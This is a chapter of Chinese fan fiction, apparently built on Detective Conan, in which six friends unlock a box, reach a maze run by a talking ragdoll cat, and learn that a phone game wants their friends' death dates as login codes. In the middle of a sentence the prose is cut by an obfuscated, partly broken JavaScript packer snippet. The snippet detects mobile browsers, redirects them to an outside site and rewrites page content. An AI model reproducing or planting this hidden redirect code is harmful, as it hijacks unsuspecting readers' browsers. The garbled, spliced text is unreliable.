松田阵平瞬间噤声,他站起来,双手插兜,默默远离了石碑,用动作和背影表示他的拒绝。 “咳。” 诸伏景光握拳抵在唇边,挡了挡嘴角的笑意,说:“石碑有问题,应该是不想我们挖出来。” “那我们如果想上山的话,现在也就只有一条路可以走了吧?” 伊达航看向放在旁边的那个箱子。 答案明摆着写在了眼前,但那两个问题……如果是以前伊达航不觉得回答一个问题有什么大不了的,但这个世界处处充满了不科学,让人不得不警惕。 “zero。” 诸伏景光看向降谷零,认真地说:“开不开这个箱子,决定权在你。” “不管你做出什么决定都可以。” “没错。” 松田阵平摸了摸衣服口袋,没摸到什么东西的他刚想收回手,就被旁边的萩原研二塞了一把浆果过来。 看着手心里五颜六色的浆果,松田阵平随便捏起一颗塞进口中,把剩下的放进了口袋里。 清甜的味道充满了口腔。 “谁规定我们一定要按照规划的路线前进?” 松田阵平毫不在意地说:“上不了山,大不了就原路返回,去找找其他线索。” 森林里还有很多地方他们没去过,松田阵平不信他们这么多人找不到离开这个世界的办法。 而且,如果这个世界真的是假的、是什么游戏的话…… 松田阵平握起拳头,不紧不慢地捏了捏指骨,眼神有些冷淡。 那他把这个世界拆了,也不是不行,对吧? 22.Chapter22 死而复生。 降谷零其实不太能分清自己心里现在的感觉,但是这一路走来,不管是他的记忆、还是如今遇到的提示,都好像在告诉他一件事: 他身边的大家都已经死了。 每次在心里得出这个结论时,他的理性和世界观总会第一时间冒出来否认这个想法,因为死掉的人是不可能活生生站在他面前,对他露出笑容、损他、挑衅他的。 但与此同时,他的情感并没有被这部分理性压制过去,或者说不知道为什么,在来到这个世界后,他一直压抑在心里的那些情绪、他一直以来为了某些情况不得不隐藏、忍耐的难过和痛苦,它们超过了他曾为自己设置的那道封锁线,第一次展露了出来。 在初见诸伏景光时那不受控制的眼泪、在看到活蹦乱跳的卷毛和其他人时内心的怅然和高兴。 这些情绪在告诉他:没错,你失去过他们。 你曾无数次为失去这些朋友难过和痛苦过。 …… 没有人知道理性和感性在青年的脑海里已经交锋过多少次,他低下头,看了一会儿箱子上那个只有他看得见的问题。 降谷零抬起手,手指按在了圆圈的按钮上。 “只是一个问题而已。” 降谷零看了眼其他人,平静地说:“而且我觉得,我的答案不会影响结果。” 本来想说什么的松田阵平闭上了嘴,他挑了下眉,觉得这个金毛倒也是敏锐。 不愧是他看中的朋友! - 既然降谷零做出了决定,六人围在一起,看着他按下了箱子上的按钮。 咔嚓一声轻响,上锁的箱子被打开,降谷零朝里面看去,看见了一把和石门锁孔大小一致的钥匙、放在旁边的一部手机,还有…… 松田阵平突然抖了一下,感觉一阵恶寒。 “钥匙、手机……最后那个,是假牙吗?” 萩原研二看着箱子里那颗假牙,眨眨眼。 好奇怪,为什么箱子里会出现假牙?有什么特殊的含义吗? 降谷零把假牙拿出来放在手心里观察,他分析道:“看起来好像不是新的假牙……松田,你干什么?” 降谷零本来还想继续分析一下,没想到旁边突然伸过来一只手,把假牙从他手里直接就拿走了。 倒也不是没有反应过来,只是觉得没必要的他转头看向拿走假牙的卷发青年,松田阵平把假牙藏到裤子口袋里,用一如既往冷静的语气说:“没什么,就是觉得一颗假牙没什么好研究的。” 虽然他在努力伪装,不过说到最后语气明显带上了几分咬牙切齿。 “……” 降谷零看看他,又看看他的裤子口袋。 其他人也看看松田阵平,看看他的裤子口袋。 松田阵平:“……” 你们有完没完! 松田阵平没有记忆,但看见假牙的一瞬间,他敏锐的直觉在此刻再次发力,让他感觉自己嘴里的某颗牙在隐隐作痛,好像这颗牙曾经经历过什么。 好巧不巧,他痛的就是同一颗假牙。 松田阵平很不想认为这两者有什么关系,但是他无法说服自己这两者没有关系。 …… 谁干的?!把他掉的假牙放在箱子里。 什么意思啊那个混蛋?! 松田阵平的表情奇臭无比,身上的气息让人感觉再戳他一下就会立刻像炸弹一样炸开。 不就是一颗假牙吗?是你的就是你的,这么紧张……难道不是正常更换,是被人打掉的? 降谷零不知道松田阵平为什么会对一颗假牙这么在意,不过看见这个卷毛此时的表情,为了避免这只卷毛炸弹在他手里炸开,他还是非常听从直觉地没有追问,收回视线看向了箱子里剩下两个东西。 降谷零的视线扫过那个手机,他先拿起钥匙走到石头门前试了试,钥匙很顺利地插入了锁孔。 萩原研二推开石门。 首先映入众人眼帘的是一条搭建在河水上的木桥,木桥并不宽大,但刚刚好够变小的房车和六人通行。 在木桥边缘、河流中心的位置,还摆着一个小凳子,凳子前面放着一个垂落的鱼竿,没有挂饵的鱼钩垂在河水里,随着水波来回晃动着。 似乎有人在这里悠闲地钓过鱼。 六个人走上平稳的木桥,一边走,木桥后的景象也缓缓出现在他们的视野中。 与他们想象中的上山之路不同,出现在他们眼前的是一块快方方正正的灌木丛,这些灌木丛竖立在地面上,划开一条条刚好够一辆房车通过的长度,将前面的空间划成了复杂曲折的道路。 在灌木丛划开的道路入口前,还有一座小亭子,通过亭子的窗口可以看见一团毛绒绒的东西在里面抖动倒弄着。 “这是……迷宫?” 这真的是上山的路吗? “没错!” 亭子里的一团毛绒突然发出了声音,毛绒线团转过了身体,六个人这才看清楚,那是一只布偶猫。 布偶猫趴在亭子里,朝亭子外的六个人伸出一只粉嫩的猫爪:“你们要游玩童话迷宫吗?请先提交入场券!” 童话迷宫、入场券。 先不提入场券的问题,好不容易遇到一只活的动物,还是先试探出一些情报,了解一下现在的情况最好。 于是,诸伏景光走到了亭子前,他弯腰看着趴在窗口的布偶猫,礼貌地问:“你好,我们是从森林里来的,请问这里是山上吗?” 布偶猫把爪子收了回去,揣在身前,扬起脑袋看向面前的蓝眸青年。 青年的眼睛和它一样都是蓝色,这让布偶猫的尾巴情不自禁地轻快晃动着,它揣着手好心情地说:“原来是森林里来的新朋友,这里是山上哦!” 说完,不等诸伏景光继续询问,这只布偶猫开始滔滔不绝地介绍起它身后的迷宫来,就像是推销商品的售货员一样,它看上去很希望六个人游玩它的迷宫。 “你们能来到这里肯定是下载了我和小橘制作的游戏,怎么样?游戏好玩吗?” 自称“小布”的布偶猫期待地看着六人,身后的尾巴越晃越快:“这座迷宫是我和小橘专门为我们的游戏玩家准备的,只要提交入场券,你们就可以在迷宫里自由探索,寻找各种宝箱,拿到游戏里的资源和金币。” “可以得到很多很多的金币哦!” 小布举起两只爪子比了一个大大的圆。 这只小布偶看上去又乖又可爱,不过降谷零和诸伏景光更在意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028700|192849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的还是对方说的话。 【因为下载了游戏所以他们来到了这座迷宫。】 说到游戏,降谷零立刻想起了那个小册子,那个《童话镇建设指南》。 还有,“下载”…… 降谷零拿出从箱子里得到的最后一件东西:手机。 “打开看看。” 诸伏景光在前面和布偶猫聊天,后面的五个人围在降谷零身边,看着他解锁了手机,短暂的loading之后,手机屏幕上并没有出现他们熟悉的主页面,而是直接跳转到了一个游戏启动的画面里。 “童话镇警长模拟器” 萩原研二念出了加载页面的介绍:“你是一名刚毕业不久的新人警官。” 【从今天开始,你就是童话镇唯一的警察啦! 童话镇位于一座远离大陆、和城市隔绝的小岛上,因为缺少稳定充足的经济来源,镇民们和你一样的拮据贫穷。 身为童话镇的新任警官,你认为自己有必要帮助镇民增加经济来源、以便提高你在童话镇的生活质量。 至少,要让警局把发给你的工资从五枚金币增加到六枚金币才行!】 【输入id码登入游戏[][][][]】 “小布,你说的是这个游戏吗?” 小布连连点头:“没错,就是这个游戏!” “不过,小布,我们只下载了这个游戏,但是还并没有玩过。” 萩原研二指着屏幕说:“你能告诉我们这个id码是什么吗?” “这个……专属id码是你们自己才知道的东西,我也不是很清楚。” 小布抖了抖耳朵,说:“那是对于你们来说最重要的日期。” 最重要的日期。 伊达航想了想,从怀里再次拿出了自己的记事本。 他的记事本上记载了很多他曾经所想所要做的事情,为了方便翻阅回忆,大部分情况下他都记下了当天的时间。 如果是每个人最重要的日期的话…… 翻动的动作停了下来,伊达航的视线看向其中一页。 [和上司请了假,提前一天去了东京,晚上和松田约好在居酒屋聚一聚。 明天就是萩原的忌日,直到今天我也没想到,萩原那家伙会猝不及防地离开,明明…… 犯人的下落还没有找到,但我一定不会放弃寻找,松田应该也是这样想的。] 日期:11月06日。 伊达航沉默片刻,他从降谷零那里拿来手机,在上面输入了1107。 [id码验证成功,载入中……] [载入进度:20%。] [输入id码登入游戏[][][][]] “五分之一,还差四个id码。” 松田阵平耸了耸肩,用看透一切的语气说:“也就是说,这个游戏要除了zero之外的我们五个人的死亡日期。” “hagi是1107,我呢?” 松田阵平没去看身边人的表情,他像询问一件微不足道的事一样询问伊达航。 “我找找。” 伊达航低头继续翻动记事本,良久才说:“你也是这个……” 四年后,松田阵平死在了萩原研二离开的那一天。